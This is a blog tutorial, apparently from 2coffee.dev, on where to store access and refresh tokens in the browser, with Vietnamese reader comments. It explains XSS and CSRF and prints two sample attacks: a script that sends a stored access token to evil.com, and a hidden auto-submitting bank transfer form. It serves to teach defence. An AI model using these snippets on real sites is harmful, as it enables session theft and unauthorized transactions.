Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Articles in series:
  1. Why do we need Refresh Tokens? Do you know how to securely store Refresh Tokens and Access Tokens in the browser?
  2. Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2
Daily short news for you
  • Revealing how readers of 2coffee.dev will read articles in the future 🫣

    » Read more
  • Microsoft has decided to "transform" the Windows Subsystem for Linux (WSL) on Windows into an open-source project 👏

    Back when I was still into gaming on the computer, I absolutely hated Ubuntu. Probably because it couldn't run games. But programming with Linux kernels was such a delight. So I found myself in a dilemma. I wanted to use Linux but had to stick with Windows.

    Microsoft's release of WSL was like a necessary savior. Quite cool. It's simply using Linux commands on Windows. However, it's still not entirely "smooth" like a real operating system. Now that they’ve open-sourced it, I hope there will be even more improvements 🙏

    microsoft/WSL

    » Read more
  • When researching a particular issue, how do people usually take notes? Like documents found, images, links, notes...

    I often research a specific topic. For example, if I come across an interesting image, I save it to my computer; documents are similar, and links are saved in my browser's Bookmarks... But when I try to find them later, I have no idea where everything I saved is, or how to search for it. Sometimes I even forget everything I've done before, and when I look back, it feels like it's all brand new 😃.

    So I'm nurturing a plan to build a storage space for everything I learn, not just for myself but also with the hope of sharing it with others. This would be a place to contain research topics, each consisting of many interconnected notes that create a complete notebook. Easy to follow, easy to write, and easy to look up...

    I write a blog, and the challenge of writing lies in the writing style and the content I want to convey. Poor writing can hinder the reader, and convoluted content can strip the soul from the piece. Many writers want to add side information to reinforce understanding, but this inadvertently makes the writing long-winded, rambling, and unfocused on the main content.

    Notebooks are created to address this issue. There's no need for overly polished writing; instead, focus on the research process, expressed through multiple short articles linked to each other. Additionally, related documents can also be saved.

    That’s the plan; I know many of you have your own note-taking methods. Therefore, I hope to receive insights from everyone. Thank you.

    » Read more

The Issue

In the previous article, Why is Refresh Token Needed? Do You Know How to Store Refresh Token and Access Token Safely in the Browser? we learned why refresh tokens should be used. The question arises: if the access token is stolen, the chance of the refresh token "vanishing without a trace" is also very high. So what is the point of generating a refresh token when the opportunity to steal both is the same?

To find the answer, many debates have erupted, and there seems to be no end in sight because everyone has valid points. In the role of an audience member sitting in the stands of a stadium, observing the match to synthesize and present the most compelling insights. There is nothing absolute, and it depends on each person's perspective. Therefore, we hope you continue to contribute your opinions in the comments section to improve the article. Returning to this article, let's explore where to store access tokens and refresh tokens in the browser to provide the best security, or at least understand the issue to find a suitable storage location.

Attack Forms Targeting Access Tokens & Refresh Tokens

To find ways to prevent attacks, we first need to understand what attack forms exist targeting access tokens and refresh tokens.

Basically, there are two forms. One is "theft" outright. The other is exploitation to perform actions that the user does not want. Corresponding to these two forms are the attack techniques XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery). Oh, not to mention, there's a more dangerous form known as PAA (Physical Access Attack). This means the attacker directly uses the victim's machine to access and illegally copy user data. Therefore, never take your eyes off your device if it contains important data. However, since PAA is too straightforward, let's focus on the two attack forms XSS and CSRF.

XSS is a common form of attack. The attacker somehow injects a piece of JavaScript code into the server. The server distributes that code to the client. When the client receives and executes the code, the data will be stolen.

For example, a website has a comment feature. Anyone can comment, and others can view those comments. If the website has not prevented XSS, the attacker starts commenting with the content.

<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>

This comment is distributed to others. Immediately, this code is executed, stealing the access_token and sending it to an address https://evil.com/steal.

In contrast, CSRF does not directly steal; it only exploits to force the user to perform unwanted actions.

For example, you have logged into an online banking site bank.com. Theoretically, the access token & refresh token (if any) have been stored in the browser and automatically sent for every subsequent access. The attacker tricks you into visiting their website, which contains malicious code that looks like this.

<form action="https://bank.com/transfer" method="POST" style="display: none;">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="666666">
  <input type="submit">
</form>

<script>
  document.forms[0].submit();
</script>

It is easy to see that this is a piece of code that runs automatically upon access. It sends a transfer request to https://bank.com/transfer. If bank.com does not handle CSRF well, the attacker has successfully completed a money transfer because clearly, the browser recognizes a request sent to https://bank.com and immediately sends the valid access token.

CSRF can be prevented by setting SameSite=Strict or SameSite=Lax in cookies. However, not every website is suitable for these two modes. In other words, it is necessary to be cautious of potential hidden risks that are not easily noticeable.

Where to Store Access Token and Refresh Token?

Looking back in the browser, there are storage locations such as:

  • Cookies
  • SessionStorage
  • LocalStorage
  • IndexedDB
  • Some browsers even support Web SQL Database - a form of SQL relational database.
  • JavaScript Variables

Therefore, let's analyze what happens if we store access tokens and refresh tokens in Cookies? If both are stored in Cookies, they will automatically be attached to every request to the server. This is unnecessary and somewhat redundant because not every request requires a refresh token. Additionally, storing both in Cookies carries a high risk of XSS and CSRF attacks. If the website is unfortunately attacked by XSS, the attacker can easily obtain the access token & refresh token.

Storing the access token or refresh token in SessionStorage, LocalStorage, IndexedDB, Web SQL... can prevent CSRF since requests do not automatically attach access tokens. However, there remains the concern of XSS. If a simple piece of JavaScript code is injected, the user data can vanish without a trace. It is evident that the crux of the issue is that attackers exploit JavaScript code to steal, so is there a place in the browser that JavaScript cannot access?

Fortunately, there is. In Cookies, there is a type of value called httpOnly - where JavaScript cannot access. Suppose the website is attacked by XSS; the attacker still cannot obtain the access code. httpOnly has all the characteristics of a normal cookie value. So does storing both in Cookies as httpOnly make it safe? Hmm... Not necessarily. Because at this point, we return to the issue of being vulnerable to CSRF attacks.

At this point, readers can realize that storing the refresh token in Cookies as httpOnly is immune to CSRF attacks. Because CSRF primarily targets the access token to gain user access, while the refresh token cannot do this. Furthermore, using the refresh token to request a new access token only occurs at a certain endpoint. Just set the Cookies to apply at that API, and you solve the problem of redundancy in each query. It is indeed a perfect choice. The issue now is to find a suitable location for the access token.

In practice, the access token only has the option of being stored in SessionStorage, LocalStorage, IndexedDB, Web SQL... to avoid CSRF attacks; the only remaining concern is XSS. Conversely, if stored in Cookies, the concern shifts back to CSRF. In summary, there is no solution that is absolutely safe. Perhaps at this point, we need to focus on preventing XSS and CSRF more than where to store them.

Additionally, there is still one place that has not been mentioned until now: in JavaScript variables. Storing the access token in a JavaScript variable does not guarantee safety against XSS but offers more benefits compared to SessionStorage, LocalStorage... mentioned above. The access token only exists during the lifecycle of the current page. When the user reloads the page or closes the website, the access token is also lost. The attacker can only steal it if they inject malicious code during the user's session and know exactly which variable contains the access token data.

Conclusion

There are two common forms of attacks targeting access tokens and refresh tokens: XSS and CSRF. While XSS exploits the injection of malicious JavaScript code to steal data, CSRF takes advantage of performing actions that the user does not want. To prevent XSS, the best approach is to store the refresh token in Cookies in httpOnly state. The access token should be stored in a JavaScript variable to eliminate CSRF attacks and minimize concerns about XSS.

Premium
Hello

Me & the desire to "play with words"

Have you tried writing? And then failed or not satisfied? At 2coffee.dev we have had a hard time with writing. Don't be discouraged, because now we have a way to help you. Click to become a member now!

Have you tried writing? And then failed or not satisfied? At 2coffee.dev we have had a hard time with writing. Don't be discouraged, because now we have a way to help you. Click to become a member now!

View all

Subscribe to receive new article notifications

or
* The summary newsletter is sent every 1-2 weeks, cancel anytime.

Comments (4)

Leave a comment...
Avatar
Nguyen Danh9 months ago

PA2 - Lưu trữ cả hai trong httpOnly cookie -> dễ bị CSRF nhưng có thể tránh được.PA3 - Chỉ lưu trữ Refresh Token trong httpOnly cookie -> an toàn khỏi CSRF.

Vì sao đều lưu ở httpOnly cookie nhưng PA2 thì dễ bị CSRF còn PA3 thì an toàn ???

Reply
Avatar
Trần Ngọc Hải2 years ago

Thật ra ko thể tránh khỏi việc dữ liệu bị đánh cắp cốt là cách xử lý sau khi bị đánh cắp như thế nào cho giảm thiểu tối đa rủi ro

Reply
Avatar
Nguyễn Văn Nhật2 years ago

M có đọc được lời khuyên là nên lưu vào bộ nhớ ứng dụng ví dụ như reduce hoặc một biến nào đó khởi tạo trong ứng dụng. Ví dụ như là const token = 'xxx'

Reply
Avatar
Xuân Hoài Tống2 years ago

Ý bạn là redux? Đúng vậy bạn có thể lưu lại AT hoặc RT vào đó nhưng nếu reload lại page thì sẽ bị mất và người dùng phải đăng nhập lại

Avatar
Nguyễn Văn Nhật2 years ago

Trước khi reload mình sẽ lưu lại vào localStorage, nó giống như kiểu hiện 1 alert khi bấm vào reload vậy

Avatar
Xuân Hoài Tống2 years ago

Người dùng vẫn có thể đột ngột tắt trình duyệt hoặc hệ điều hành cũng có quyền kết thúc tiến trình thế nên bạn sẽ không kịp lưu lại được

Avatar
Long Domi2 years ago

H mới chịu ra cơ mà e muốn hỏi chổ CSRF kia là ntn ạ hơi khó hiểu

Reply
Avatar
Vũ Mạnh Đức2 years ago

CSRF là một cuộc tấn công giả mạo người dùng, bạn có thể đọc thêm trên google hoặc https://developer.mozilla.org/en-US/docs/Glossary/CSRF. Đại loại là kẻ tấn công lợi dụng chính những request từ máy bạn để vượt qua được xác thực (bởi vì các request được gửi từ máy bạn) để thực hiện hành vi yêu cầu quyền xác thực. Những hành vi đó có thể gây nguy hiểm như đổi mật khẩu, đổi email...

Avatar
Long Domi2 years ago

Thanks a e sẽ nghiên cứu ạ

Avatar
Long Domi2 years ago

@gif [tfUW8mhiFk8NlJhgEh] Trả lời bình luận có cả email luôn ghê thật